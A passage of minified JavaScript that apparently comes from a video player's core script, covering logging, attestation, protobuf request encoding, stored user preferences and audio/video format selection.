I9q=function(x,T,t){t=t===void 0?0:t;g.Kr(function(){T.then(function(u){x.Z.has(t)&&x.K&&x.K();var H=g.Yx(t),I=g.cW(t);if(H&&I){var E;(u==null?0:(E=u.response)==null?0:E.trackingParams)&&g.CP(x.client,H,I,g.PW(u.response.trackingParams));var Z;(u==null?0:(Z=u.playerResponse)==null?0:Z.trackingParams)&&g.CP(x.client,H,I,g.PW(u.playerResponse.trackingParams))}})})()};
Ff=function(x){var T=rI();g.Kr(function(){var t=g.PW(x);kI(T,t);return t})()};
kI=function(x,T,t,u){u=u===void 0?0:u;g.Kr(function(){if(x.Z.has(u))return x.N.push([T,t]),!0;var H=g.Yx(u),I=t||g.cW(u);if(H&&I){if(g.R6("combine_ve_grafts")){var E=x.j.get(I.toString());E?E.push(T):(x.D.set(I.toString(),I),x.j.set(I.toString(),[T]));x.ZZ||(x.ZZ=g.wx(0,function(){hX(x,H)},1200))}else g.CP(x.client,H,I,T);
return!0}return!1})()};
EvV=function(x,T,t,u){u=u===void 0?0:u;var H=g.Yx(u);T=T||g.cW(u);H&&T&&(x=x.client,u=WW({cttAuthInfo:UC(H)||void 0},H),t={csn:H,ve:T.getAsJson(),clientData:t},H==="UNDEFINED_CSN"?OC("visualElementStateChanged",u,t):x?AP("visualElementStateChanged",t,x,u):g.io("visualElementStateChanged",t,u))};
HG4=function(x,T,t,u){u=u===void 0?{}:u;x.Z.add(u.layer||0);x.K=function(){iGJ(x,T,t,u);var E=g.cW(u.layer);if(E){for(var Z=g.S(x.N),e=Z.next();!e.done;e=Z.next())e=e.value,kI(x,e[0],e[1]||E,u.layer);E=g.S(x.J);for(Z=E.next();!Z.done;Z=E.next())Z=Z.value,EvV(x,Z[0],Z[1])}};
t||g.Yx(u.layer)||x.K();if(u.pw)for(var H=g.S(u.pw),I=H.next();!I.done;I=H.next())I9q(x,I.value,u.layer);else g.vW(Error("Delayed screen needs a data promise."))};
iGJ=function(x,T,t,u){u=u===void 0?{}:u;var H=void 0;u.layer||(u.layer=0);H=u.parentLayer!==void 0?u.parentLayer:u.layer;var I=g.Yx(H);H=g.cW(H);var E=t||H,Z;E&&(u.parentCsn!==void 0?Z={clientScreenNonce:u.parentCsn,visualElement:E}:I&&I!=="UNDEFINED_CSN"&&(Z={clientScreenNonce:I,visualElement:E}));var e,l=g.pr("EVENT_ID");I==="UNDEFINED_CSN"&&l&&(e={servletData:{serializedServletEventId:l}});g.R6("combine_ve_grafts")&&I&&hX(x,I);g.R6("no_client_ve_attach_unless_shown")&&E&&I&&pP(E,I);try{var m=u33(x.client,
T,Z,u.V8,u.cttAuthInfo,e,u.implicitGestureType,u.loggingExpectations)}catch(A){KWm(A,{k_:T,rootVe:H,eoZ:t,nvc:I,pZm:Z,V8:u.V8});g.vW(A);return}vi5(m,T,u.layer,u.cttAuthInfo);I&&I!=="UNDEFINED_CSN"&&H&&!kxD(I)&&HM4(x.client,I,H,!0);x.C[x.C.length-1]&&!x.C[x.C.length-1].csn&&(x.C[x.C.length-1].csn=m||"");g.gO({clientScreenNonce:m});Uk.instance||(Uk.instance=new Uk);g.Kr(YI().C).bind(YI())();var d=g.cW(u.layer);I&&I!=="UNDEFINED_CSN"&&d&&(g.R6("web_mark_root_visible")||g.R6("music_web_mark_root_visible"))&&
g.xB(m,d);x.Z.delete(u.layer||0);x.K=void 0;var M;(M=x.uG.get(u.layer))==null||M.forEach(function(A,R){A?kI(x,R,A,u.layer):d&&kI(x,R,d,u.layer)});
qnf(x)};
qnf=function(x){for(var T=0;T<x.T.length;T++){var t=x.T[T];try{t()}catch(u){g.vW(u)}}for(T=x.T.length=0;T<x.S.length;T++){t=x.S[T];try{t()}catch(u){g.vW(u)}}};
hX=function(x,T){if(T===void 0)for(var t=rtm(),u=0;u<t.length;u++)t[u]!==void 0&&hX(x,t[u]);else x.j.forEach(function(H,I){(I=x.D.get(I))&&g.JP(x.client,T,I,H)}),x.j.clear(),x.D.clear(),x.ZZ=void 0};
vZ=function(){};
ZGX=function(){vZ.instance||(vZ.instance=new vZ);return vZ.instance};
jT3=function(x,T,t){var u=new XMLHttpRequest;if(t==null?0:t.SE)u.onreadystatechange=function(I){t.SE(u,I)};
var H;u.open((H=T.method)!=null?H:"GET",x,!0);u.responseType="text";u.withCredentials=!0;if(T.headers)for(x=g.S(Object.entries(T.headers)),T=x.next();!T.done;T=x.next())H=g.S(T.value),T=H.next().value,H=H.next().value,u.setRequestHeader(T,H);return u};
Vu=function(){};
em3=function(){var x=navigator;return new Promise(function(T,t){var u;(u=x.webkitTemporaryStorage)!=null&&u.queryUsageAndQuota?x.webkitTemporaryStorage.queryUsageAndQuota(function(H,I){T({usage:H,quota:I})},function(H){t(H)}):t(Error("webkitTemporaryStorage is not supported."))})};
$$=function(x,T){var t=this;this.handleError=x;this.C=T;this.Z=!1;self.document===void 0||self.addEventListener("beforeunload",function(){t.Z=!0});
this.j=Math.random()<=.2};
mN5=function(x,T){Vu.getInstance().estimate().then(function(t){t=Object.assign({},T,{isSw:self.document===void 0,isIframe:self!==self.top,deviceStorageUsageMbytes:l9f(t==null?void 0:t.usage),deviceStorageQuotaMbytes:l9f(t==null?void 0:t.quota)});x.C("idbQuotaExceeded",t)})};
l9f=function(x){return typeof x==="undefined"?"-1":String(Math.ceil(x/1048576))};
MdJ=function(){g.Bc();return g.Wc(0,192)?g.Wc(0,190):!(g.R6("web_watch_cinematics_disabled_by_default")||g.R6("web_watch_cinematics_preferred_reduced_motion_default_disabled")&&dND())};
RmJ=function(x,T){AhJ(x.program,T.k7y)&&(yK("bg_i",void 0,"player_att"),g.G4.initialize(x,function(){yK("bg_l",void 0,"player_att");LT=(0,g.bo)()},T.cspNonce,T.lf))};
PSq=function(x){x=x===void 0?{}:x;return g.G4.invoke(x)};
AhJ=function(x,T){if(x){var t;g.G4.isLoading()?t=!1:t=!LT||(0,g.bo)()-LT>T;x=t}else x=!1;return x};
SnJ=function(x){x=x.split("");nT.Uq(x,64);nT.PV(x,24);nT.ZA(x,1);nT.Uq(x,58);nT.ZA(x,2);nT.Uq(x,3);nT.PV(x,77);nT.Uq(x,10);nT.ZA(x,1);return x.join("")};
g.aa=function(x,T){return x.lf+"timedtext_video?ref=player&v="+T.videoId};
g.chf=function(x){var T=this;this.videoData=x;x={};this.C=(x.c1a=function(){var t=[];if(g.G4.isInitialized()){var u="";T.videoData&&T.videoData.iR&&(u=T.videoData.iR+("&r1b="+T.videoData.clientPlaybackNonce));var H={};u=(H.atr_challenge=u,H);yK("bg_v",void 0,"player_att");(u=PSq(u))?(yK("bg_s",void 0,"player_att"),t.push("r1a="+u)):(yK("bg_e",void 0,"player_att"),t.push("r1c=2"))}else yK("bg_e",void 0,"player_att"),window.trayride||window.botguard?t.push("r1c=1"):t.push("r1c=4");t.push("r1d="+g.G4.getState());
return t.join("&")},x.c6a=function(t){return"r6a="+(Number(t.c)^iD())},x.c6b=function(t){return"r6b="+(Number(t.c)^Number(g.pr("CATSTAT",0)))},x);
this.videoData&&this.videoData.iR?this.yh=o6(this.videoData.iR):this.yh={}};
g.Ynv=function(x){if(x.videoData&&x.videoData.iR){for(var T=[x.videoData.iR],t=g.S(Object.keys(x.C)),u=t.next();!u.done;u=t.next())u=u.value,x.yh[u]&&x.C[u]&&(u=x.C[u](x.yh))&&T.push(u);return T.join("&")}return null};
g.gI=function(x,T){RmJ(x,{k7y:g.Z9(T.experiments,"bg_vm_reinit_threshold"),cspNonce:T.cspNonce,lf:T.lf||""})};
UND=function(){var x=XMLHttpRequest.prototype.fetch;return!!x&&x.length===3};
BZ=function(x){x=x===void 0?2592E3:x;if(x>0&&!(fuq()>(0,g.bo)()-x*1E3))return 0;x=g.VT("yt-player-quality");if(typeof x==="string"){if(x=g.BU[x],x>0)return x}else if(x instanceof Object)return x.quality;return 0};
WZ=function(){var x=g.VT("yt-player-proxima-pref");return x==null?null:x};
bGV=function(){var x=g.VT("yt-player-quality");if(x instanceof Object&&x.quality&&x.previousQuality){if(x.quality>x.previousQuality)return 1;if(x.quality<x.previousQuality)return-1}return 0};
rhv=function(){var x={values:{},O_:{}};try{var T=JSON.parse(JSON.parse(window.localStorage["yt-player-memory"]).data);x.values=T.values;x.halfLives=T.halfLives}catch(t){}return x};
DR=function(){return g.VT("yt-player-performance-cap")||{}};
yu=function(){var x;return(x=g.VT("yt-player-performance-cap-active-set"))!=null?x:[]};
zm5=function(x){(x===void 0?0:x)?(x=yu().filter(function(T){return T.startsWith("1")}),g.vc("yt-player-performance-cap-active-set",x,2592E3)):g.vc("yt-player-performance-cap-active-set",[],2592E3)};
kZJ=function(x){g.vc("yt-player-watch-later-pending",x)};
FAH=function(){return!!g.VT("yt-player-headers-readable")};
hm3=function(){try{return+(window.localStorage&&window.localStorage["yt-player-av1-pref"])||0}catch(x){return 0}};
g.N8=function(){var x=g.VT("yt-player-caption-language-preferences");return x?x:[]};
JX=function(){var x=g.VT("yt-player-user-settings"),T=new Map;if(x){x=g.S(Object.entries(x));for(var t=x.next();!t.done;t=x.next()){var u=g.S(t.value);t=u.next().value;u=u.next().value;T.set(t,u)}}return T};
Qu=function(){try{var x=window.navigator;if(x.getAutoplayPolicy&&typeof x.getAutoplayPolicy==="function"){var T=document.getElementsByClassName(g.CT.iBu);var t=T.length>0&&T[0]?x.getAutoplayPolicy(T[0]):x.getAutoplayPolicy("mediaelement");if(vvf[t])return vvf[t]}}catch(u){}return"AUTOPLAY_BROWSER_POLICY_UNSPECIFIED"};
pT=function(x){return x.cS||x.VL||x.mutedAutoplay};
Vd4=function(x,T){return pT(x)?T!==1&&T!==2&&T!==0?"AUTOPLAY_STATUS_UNAVAILABLE":x.DM?"AUTOPLAY_STATUS_BLOCKED":"AUTOPLAY_STATUS_OCCURRED":"AUTOPLAY_STATUS_NOT_ATTEMPTED"};
GZ3=function(x,T,t){var u=T.Y();x.thirdParty||(x.thirdParty={});u.ancestorOrigins&&(x.thirdParty.embeddedPlayerContext=Object.assign({},x.thirdParty.embeddedPlayerContext,{ancestorOrigins:u.ancestorOrigins}));u.B("embeds_enable_autoplay_and_visibility_signals")&&(u.EG!=null&&(x.thirdParty.embeddedPlayerContext=Object.assign({},x.thirdParty.embeddedPlayerContext,{visibilityFraction:Number(u.EG)})),u.k$&&(x.thirdParty.embeddedPlayerContext=Object.assign({},x.thirdParty.embeddedPlayerContext,{visibilityFractionSource:u.k$})),
x.thirdParty.embeddedPlayerContext=Object.assign({},x.thirdParty.embeddedPlayerContext,{autoplayBrowserPolicy:Qu(),autoplayIntended:pT(T),autoplayStatus:Vd4(T,t)}))};
a95=function(x,T){QQ(x,2,T.E_,Ok,3);QQ(x,3,T.Kj,LAX,3);JR(x,4,T.onesieUstreamerConfig);JR(x,9,T.VT);QQ(x,10,T.pH,fT,3);QQ(x,15,T.reloadPlaybackParams,nvq,3)};
Bi5=function(x,T){QQ(x,1,T.formatId,wI,3);yQ(x,2,T.startTimeMs);yQ(x,3,T.durationMs);yQ(x,4,T.t$);yQ(x,5,T.CK);QQ(x,9,T.PoW,gvH,3);QQ(x,11,T.aU7,KT,1);QQ(x,12,T.OV,KT,1)};
WAi=function(x,T){Cn(x,1,T.videoId);yQ(x,2,T.lmt)};
gvH=function(x,T){if(T.Jv)for(var t=0;t<T.Jv.length;t++)QQ(x,1,T.Jv[t],WAi,3)};
wI=function(x,T){yQ(x,1,T.itag);yQ(x,2,T.lmt);Cn(x,3,T.xtags)};
Xf=function(x){return{itag:v5(x,1),lmt:v5(x,2),xtags:Ln(x,3)}};
KT=function(x,T){yQ(x,1,T.startTicks);yQ(x,2,T.zf);yQ(x,3,T.timescale)};
DNC=function(x){return{startTicks:v5(x,1),zf:v5(x,2),timescale:v5(x,3)}};
yhf=function(x,T){yQ(x,1,T.defaultPolicy);yQ(x,2,T.smooth);yQ(x,3,T.visibility);yQ(x,4,T.qR);yQ(x,5,T.performance);yQ(x,6,T.speed)};
Ok=function(x,T){yQ(x,13,T.timeSinceLastManualFormatSelectionMs);var t=T.lastManualDirection;t!==void 0&&(D7(x,112),D7(x,t<<1^t>>31));yQ(x,16,T.Xv7);yQ(x,17,T.detailedNetworkType);yQ(x,18,T.Y8);yQ(x,19,T.VH);yQ(x,21,T.BQ);yQ(x,23,T.MM);yQ(x,28,T.RS);yQ(x,29,T.gpm);yQ(x,34,T.visibility);t=T.playbackRate;if(t!==void 0){var u=new ArrayBuffer(4);(new Float32Array(u))[0]=t;t=(new Uint32Array(u))[0];if(t!==void 0)for(D7(x,285),W5(x,4),u=0;u<4;)x.view.setUint8(x.pos,t&255),t>>=8,x.pos+=1,u+=1}yQ(x,36,T.rI);
QQ(x,38,T.mediaCapabilities,Ni3,3);yQ(x,39,T.npc);yQ(x,40,T.Ua);yQ(x,44,T.playerState);Ni(x,46,T.D4);yQ(x,48,T.ey);yQ(x,50,T.Bl);yQ(x,51,T.oE);yQ(x,54,T.lR);Ni(x,56,T.R_7);yQ(x,57,T.aR);Ni(x,58,T.Dl);yQ(x,59,T.TC);yQ(x,60,T.kR);Ni(x,61,T.isPrefetch);yQ(x,62,T.Ry);JR(x,63,T.sabrLicenseConstraint);yQ(x,64,T.Sm7);yQ(x,66,T.vcu);yQ(x,67,T.cHU);yQ(x,68,T.PNY);Cn(x,69,T.audioTrackId);Ni(x,71,T.Fk);QQ(x,72,T.iFY,yhf,1);yQ(x,74,T.v5);yQ(x,75,T.S2)};
Ni3=function(x,T){if(T.videoFormatCapabilities)for(var t=0;t<T.videoFormatCapabilities.length;t++)QQ(x,1,T.videoFormatCapabilities[t],Jh5,1);if(T.audioFormatCapabilities)for(t=0;t<T.audioFormatCapabilities.length;t++)QQ(x,2,T.audioFormatCapabilities[t],CSJ,1);QQ(x,4,T.perPlaybackAttributes,QTD,3);yQ(x,5,T.hdrModeBitmask)};
Jh5=function(x,T){yQ(x,1,T.videoCodec);yQ(x,3,T.maxHeight);yQ(x,4,T.maxWidth);yQ(x,11,T.maxFramerate);yQ(x,12,T.maxBitrateBps);Ni(x,15,T.is10BitSupported)};
CSJ=function(x,T){yQ(x,1,T.audioCodec);yQ(x,2,T.numChannels);yQ(x,3,T.maxBitrateBps);yQ(x,6,T.spatialCapabilityBitmask)};
QTD=function(x,T){if(T.itagDenylist)for(var t=0;t<T.itagDenylist.length;t++)yQ(x,1,T.itagDenylist[t])};
fT=function(x,T){QQ(x,1,T.clientInfo,pq4,3);JR(x,2,T.GK);JR(x,3,T.playbackCookie);JR(x,4,T.VT);if(T.pu)for(var t=0;t<T.pu.length;t++)QQ(x,5,T.pu[t],OG3,3);if(T.iO)for(t=0;t<T.iO.length;t++)yQ(x,6,T.iO[t]);Cn(x,7,T.CfZ);QQ(x,8,T.z8,f9f,3)};
wq3=function(x,T){yQ(x,1,T.rHQ);yQ(x,2,T.q_c)};
KAf=function(x,T){var t=T.code;t!==void 0&&(D7(x,8),D7(x,t<<1^t>>31));Cn(x,2,T.message)};
Xqq=function(x,T){yQ(x,1,T.clientState);QQ(x,2,T.FoG,wq3,1)};
f9f=function(x,T){JR(x,1,T.BN9);QQ(x,2,T.gxf,KAf,3);QQ(x,3,T.coldStartInfo,Xqq,3)};
OG3=function(x,T){yQ(x,1,T.type);JR(x,2,T.value)};
pq4=function(x,T){Cn(x,1,T.hl);Cn(x,12,T.deviceMake);Cn(x,13,T.deviceModel);yQ(x,16,T.clientName);Cn(x,17,T.clientVersion);Cn(x,18,T.osName);Cn(x,19,T.osVersion)};
xAf=function(x,T){Cn(x,1,T.name);Cn(x,2,T.value)};
T6C=function(x,T){Cn(x,1,T.url);if(T.v8)for(var t=0;t<T.v8.length;t++)QQ(x,2,T.v8[t],xAf,3);JR(x,3,T.postBody);Ni(x,4,T.vxG);Ni(x,6,T.Vd)};
LAX=function(x,T){JR(x,2,T.KY);JR(x,5,T.encryptedClientKey);JR(x,6,T.iv);JR(x,7,T.MQ);Ni(x,10,T.kH);Ni(x,13,T.ke);Ni(x,14,T.rX);JR(x,16,T.tw7);Ni(x,17,T.g3)};
omv=function(x){return{XE:v5(x,1),fn:v5(x,2),body:G7(x,4)}};
nvq=function(x,T){Cn(x,1,T.token)};
taV=function(x){return{token:Ln(x,1)}};
s75=function(x){return{MY:v5(x,1),ZCm:v5(x,2)}};
iHf=function(x,T){QQ(x,1,T.E_,Ok,3);if(T.Ie)for(var t=0;t<T.Ie.length;t++)QQ(x,2,T.Ie[t],wI,3);if(T.v9)for(t=0;t<T.v9.length;t++)QQ(x,3,T.v9[t],Bi5,3);JR(x,5,T.videoPlaybackUstreamerConfig);if(T.eb)for(t=0;t<T.eb.length;t++)QQ(x,6,T.eb[t],uvv,3);if(T.dh)for(t=0;t<T.dh.length;t++)QQ(x,16,T.dh[t],wI,3);if(T.zm)for(t=0;t<T.zm.length;t++)QQ(x,17,T.zm[t],wI,3);if(T.oB)for(t=0;t<T.oB.length;t++)QQ(x,18,T.oB[t],wI,3);QQ(x,19,T.pH,fT,3);QQ(x,21,T.o8,$A4,3);yQ(x,22,T.El);yQ(x,23,T.iS);if(T.RB)for(t=0;t<T.RB.length;t++)QQ(x,
1E3,T.RB[t],HHi,3)};
uvv=function(x,T){QQ(x,1,T.formatId,wI,3);yQ(x,2,T.a4);yQ(x,3,T.sequenceNumber);QQ(x,4,T.pS,KT,1);yQ(x,5,T.HN);yQ(x,6,T.uP)};
$A4=function(x,T){if(T.Va)for(var t=0;t<T.Va.length;t++)Cn(x,1,T.Va[t]);JR(x,2,T.X9);Cn(x,3,T.J9);yQ(x,4,T.sH);yQ(x,5,T.Fy);Cn(x,6,T.NH)};
HHi=function(x,T){if(T.Ie)for(var t=0;t<T.Ie.length;t++)QQ(x,1,T.Ie[t],wI,3);if(T.v9)for(t=0;t<T.v9.length;t++)QQ(x,2,T.v9[t],Bi5,3);Cn(x,3,T.clipId)};
g.xW=function(x,T){QQ(x,1,T.E_,Ok,3);JR(x,3,T.videoPlaybackUstreamerConfig);QQ(x,5,T.pH,fT,3);QQ(x,6,T.o8,$A4,3)};
quJ=function(x,T){Cn(x,1,T.cpn);yQ(x,2,T.sequenceNumber);Cn(x,3,T.serializedWatchEndpointLoggingContext);if(T.decoderInfo)for(var t=0;t<T.decoderInfo.length;t++)QQ(x,6,T.decoderInfo[t],Ikq,3);Cn(x,9,T.playerResponseCpn);yQ(x,10,T.transitionStitchType);yQ(x,12,T.timestampOffsetMsecs);yQ(x,15,T.remoteControlMode);if(T.remoteConnectedDevices)for(t=0;t<T.remoteConnectedDevices.length;t++)QQ(x,16,T.remoteConnectedDevices[t],Em3,3);JR(x,17,T.serializedHouseBrandPlayerServiceLoggingContext)};
Ikq=function(x,T){yQ(x,1,T.elapsedTimeMs);Cn(x,3,T.videoDecoderName)};
Em3=function(x,T){yQ(x,1,T.deviceInterface);Cn(x,2,T.deviceVersion);Ni(x,3,T.isSleeping)};
ZHi=function(x){return{first:v5(x,1),jQ:v5(x,2)}};
j7J=function(x){return{bitrate:v5(x,6),width:v5(x,7),height:v5(x,8),fps:v5(x,25),averageBitrate:v5(x,31),audioSampleRate:v5(x,45),audioChannels:v5(x,46)}};
Tg=function(x){return{itagDenylist:af(x,1)}};
mA3=function(x){return{MVW:v5(x,1),itag:Ln(x,3),xU:nn(x,4,ek4),lmt:v5(x,5),p$Y:v5(x,7),xtags:Ln(x,15),DJm:nn(x,23,lkq),D_:nn(x,34,Tg)}};
ek4=function(x){return{iv:G7(x,5),VYG:VQ(x,7)}};
dAD=function(x){return{rC:af(x,2),videoId:Ln(x,3),f3:v5(x,4)}};
lkq=function(x){return{videoId:Ln(x,2)}};
MaH=function(x){return{Uv:v5(x,3),fv:v5(x,4),Bu:v5(x,5),siy:VQ(x,8),zoY:v5(x,10),pg:v5(x,12),eQ:v5(x,13),BN:v5(x,14),cN:v5(x,15),ji:v5(x,16)}};
Ae4=function(x){return{targetAudioReadaheadMs:v5(x,1),targetVideoReadaheadMs:v5(x,2),backoffTimeMs:v5(x,4),playbackCookie:G7(x,7),videoId:Ln(x,8)}};
RkX=function(x){return{minBandwidthBytesPerSec:v5(x,1),minReadaheadMs:v5(x,2)}};
PB3=function(x){return{startMinReadaheadPolicy:gK(x,1,RkX),resumeMinReadaheadPolicy:gK(x,2,RkX)}};
Su3=function(x){return{label:Ln(x,1),text:Ln(x,2)}};
cei=function(x){return{videoId:Ln(x,1),formatId:nn(x,2,Xf),debugInfo:gK(x,3,Su3)}};
YuD=function(x){return{TQ:gK(x,1,cei)}};
UAD=function(x){return{W6:v5(x,1),rl:v5(x,2),minReadaheadMs:v5(x,3)}};
bHf=function(x){return{lU:v5(x,1),items:gK(x,2,UAD),C$:v5(x,3)}};
re3=function(x){return{token:Ln(x,1),videoId:Ln(x,2)}};
zkm=function(x){return{v7:v5(x,1)}};
k$i=function(x){return{SiW:Ln(x,1),action:v5(x,2),vK:nn(x,3,zkm)}};
or=function(x){return{Za:v5(x,1),jj:v5(x,2),seekSource:v5(x,3)}};
hkq=function(x){return{e0:gK(x,1,FxC),Ep7:Ln(x,2)}};
vmf=function(x){return{eP:Ln(x,1),PK:v5(x,2),KeU:v5(x,3),TX:v5(x,4),hZ:v5(x,5),U5:v5(x,6)}};
Va3=function(x){return{xr:v5(x,1)}};
FxC=function(x){return{clipId:Ln(x,1),r9:nn(x,2,vmf),j5:nn(x,3,Va3)}};
G$J=function(x){return{type:v5(x,1),scope:v5(x,2),value:G7(x,3),sendByDefault:VQ(x,4),writePolicy:v5(x,5)}};
Lxf=function(x){var T=[];x=g.S(x.split(","));for(var t=x.next();!t.done;t=x.next()){var u=t.value;u&&((t=u.startsWith("!"))&&(u=u.substring(1)),u=u.split("-"),u.length<3||T.push({rZ:u[0],platform:u[1],deviceVersion:u[2],qQ:t}))}return T};
gmq=function(x){return Lxf(x).map(function(T){return{deviceInterface:nmD[ak5[T.rZ]]||0,deviceVersion:T.deviceVersion||"",isSleeping:T.qQ}})};
g.tv=function(x,T){this.id=x;this.S8=T;this.captionTracks=[];this.j=this.K=null;this.xtags="";this.T=!1;this.C=null;this.Z="UNKNOWN";this.captionsInitialState="CAPTIONS_INITIAL_STATE_UNKNOWN";x=this.S8.id.split(".");x.length>1&&(this.T=x[1]==="2")};
sK=function(x,T,t,u,H){this.Z=x;this.C=T;this.j=t;this.reason=u;this.Zp=H===void 0?0:H};
g.uG=function(x,T,t,u){return new sK(g.BU[x]||0,g.BU[T]||0,t,u)};
Ht=function(x){if($W&&x.Zp)return!1;var T=g.BU.auto;return x.Z===T&&x.C===T};
Ir=function(x){return iG[x.C||x.Z]||"auto"};
B6D=function(x,T){T=g.BU[T];return x.Z<=T&&(!x.C||x.C>=T)};
EK=function(x){return"["+x.Z+"-"+x.C+", override: "+(x.j+", reason: "+x.reason+"]")};
qF=function(x,T,t){this.videoInfos=x;this.C=T;this.audioTracks=[];if(this.C){x=new Set;t==null||t({ainfolen:this.C.length});T=g.S(this.C);for(var u=T.next();!u.done;u=T.next())if(u=u.value,!u.S8||x.has(u.S8.id)){var H=void 0,I=void 0,E=void 0;(E=t)==null||E({atkerr:!!u.S8,itag:u.itag,xtag:u.C,lang:((H=u.S8)==null?void 0:H.name)||"",langid:((I=u.S8)==null?void 0:I.id)||""})}else H=new g.tv(u.id,u.S8),x.add(u.S8.id),this.audioTracks.push(H);t==null||t({atklen:this.audioTracks.length})}};
Z5=function(){g.W.apply(this,arguments);this.C=null};
N6H=function(x,T,t,u,H,I,E){if(x.C)return x.C;var Z={},e=new Set,l={};if(jR(u)){for(var m in u.C)u.C.hasOwnProperty(m)&&(x=u.C[m],l[x.info.Wv]=[x.info]);return l}m=WxD(T,u,Z);I&&H({aftsrt:eR(m)});for(var d={},M=g.S(Object.keys(m)),A=M.next();!A.done;A=M.next()){A=A.value;for(var R=g.S(m[A]),Y=R.next();!Y.done;Y=R.next()){Y=Y.value;var b=Y.itag,z=void 0,F=A+"_"+(((z=Y.video)==null?void 0:z.fps)||0);d.hasOwnProperty(F)?d[F]===!0?l[A].push(Y):Z[b]=d[F]:(z=lG(T,Y,t,u.isLive,e),z!==!0?(E.add(A),Z[b]=z,
z==="disablevp9hfr"&&(d[F]="disablevp9hfr")):(l[A]=l[A]||[],l[A].push(Y),d[F]=!0))}}I&&H({bfflt:eR(l)});for(var V in l)l.hasOwnProperty(V)&&(u=V,l[u]&&l[u][0].Zo()&&(l[u]=l[u],l[u]=DAC(T,l[u],Z),l[u]=yef(l[u],Z)));I&&Object.keys(Z).length>0&&H({rjr:bF(Z)});T=g.S(e.values());for(u=T.next();!u.done;u=T.next())(u=t.Z.get(u.value))&&--u.eS;I&&H({aftflt:eR(l)});x.C=g.Aq(l,function(B){return!!B.length});
return x.C};
CB3=function(x,T,t,u,H,I,E,Z){Z=Z===void 0?!1:Z;if(T.Jq&&E&&E.length>1&&!(T.TC>0||T.J)){for(var e=T.Z||!!H,l=e&&T.Ym?I:void 0,m=WxD(T,u),d=[],M=[],A={},R=0;R<E.length;R++){var Y=E[R],b=u.j.get(Y);if(b&&b.info){var z=b.info;b=z.Wv;if(lG(T,z,t,u.isLive)){Y=z.Zo()?d:M;z=g.S(m[b]);for(var F=z.next();!F.done;F=z.next()){F=F.value;var V=void 0,B=b+"_"+(((V=F.video)==null?void 0:V.fps)||0);A.hasOwnProperty(B)?A[B]===!0&&Y.push(F):lG(T,F,t,u.isLive)&&(Y.push(F),A[B]=!0)}}else e&&I({opfu:Y})}}if(d.length&&
M.length)return e&&I({opfm:d[0].itag+","+M[0].itag}),vi(new qF(d,M,l))}return JeC(x,T,t,u,H,I,Z)};
JeC=function(x,T,t,u,H,I,E){function Z(z){return!!d[z]}
var e=T.Z||!!H,l=e&&T.Ym?I:void 0,m=new Set,d=N6H(x,T,t,u,I,e,m);mV(u)&&(d=Q7q(t,d,H,e,I,T),e&&I({enflt:eR(d)}));T.Cz=pvf(d,T);if(jR(u))return I=g.Oh(Object.values(d),function(z){return!!z.length&&!!z[0].audio}),x=g.Oh(Object.values(d),function(z){return!!z.length&&!!z[0].video}),I&&x||hg(),vi(new qF(x,I,l));
H=OHH(T);e&&I({audioPrefOrder:H.join("_")});x=[];if(T.Zk){H=g.ES(H,Z);for(var M=new Set,A=g.S(H),R=A.next();!R.done;R=A.next()){R=g.S(d[R.value]);for(var Y=R.next();!Y.done;Y=R.next())Y=Y.value,Y.S8&&!M.has(Y.S8.id)&&(M.add(Y.S8.id),x.push(Y))}if(x.length===0){if(H.length===0)return e&&I({noaudio:1}),hg();x=d[H[0]]}}else{x=g.Oh(H,Z);if(!x)return e&&I({noaudio:1}),hg();x=d[x]}d["9"]&&d.h&&u.B9&&!T.G9&&(e&&I({dltvp9:1}),delete d["9"]);if(E){e&&I({bfsflt:eR(d),bfsflta:dU(t)});fkH(t,m);e&&I({bfsfltb:dU(t)});
for(var b in d)if(d.hasOwnProperty(b)&&(E=b,!(E==="f"||T.hQ===0&&wvD.has(E))))for(m=g.S(d[E]),H=m.next();!H.done;H=m.next())H=H.value,T.RW?Kxm(t,E,H):Xvv(t,E,H);e&&I({aftsflt:dU(t)})}E=d["1h"]?"1h":"1";t=d["9h"]?"9h":"9";H=d[E];M=d[t];H&&H.length&&(T.C.highestAv1Resolution=H[H.length-1].video.C);M&&M.length&&(T.C.highestVp9Resolution=M[M.length-1].video.C);b=[];m=[];if(T.dN&&H)b=H,m=[E],I({forceAv1:E});else if(T.J&&!T.Dl)for(m=xuf(u)?d["1h"]||d["9h"]?["1h","9h"]:["9","h"]:["1","9","h"],e&&I({newhybpref:m.join(".")}),
H=g.S(m),M=H.next();!M.done;M=H.next())b=b.concat(d[M.value]).filter(function(z){return z});
else T.TC>0&&M&&H&&(m=[E,t],b=H.concat(M).filter(function(z){return z}));
if(b.length&&!T.Dl){MF(b,m);if(e){e=[];T=g.S(b);for(u=T.next();!u.done;u=T.next())e.push(u.value.itag);I({hbdfmt:e.join(".")})}return vi(new qF(b,x,l))}b=T4q(T);b=g.Oh(b,Z);if(!b){if(d[E])return I=d[E],MF(I),vi(new qF(I,x,l));e&&I({novideo:1});return hg()}T.rp&&(b==="1"||b==="1h")&&d[t]&&(E=Av(d[b]),m=Av(d[t]),m>E?b=t:m===E&&oXD(d[t])&&(b=t));b==="9"&&d.h&&Av(d.h)>Av(d["9"])&&(b="h");T.ra&&u.isLive&&b==="("&&d.H&&Av(d["("])<1440&&(b="H");e&&I({vfmly:Rr(b)});T=d[b];if(!T.length)return e&&I({novfmly:Rr(b)}),
hg();MF(T);return vi(new qF(T,x,l))};
pvf=function(x,T){var t=!(!x.m&&!x.M),u=!(!x.mac3&&!x.MAC3),H=!(!x.meac3&&!x.MEAC3);x=!(!x.i&&!x.I);T.L4=x;return t||u||H||x};
oXD=function(x){x=g.S(x);for(var T=x.next();!T.done;T=x.next())if(T=T.value,T.itag&&tff.has(T.itag))return!0;return!1};
Rr=function(x){switch(x){case "*":return"v8e";case "(":return"v9e";case "(h":return"v9he";default:return x}};
eR=function(x){var T=[],t;for(t in x)if(x.hasOwnProperty(t)){var u=t;T.push(Rr(u));u=g.S(x[u]);for(var H=u.next();!H.done;H=u.next())T.push(H.value.itag)}return T.join(".")};
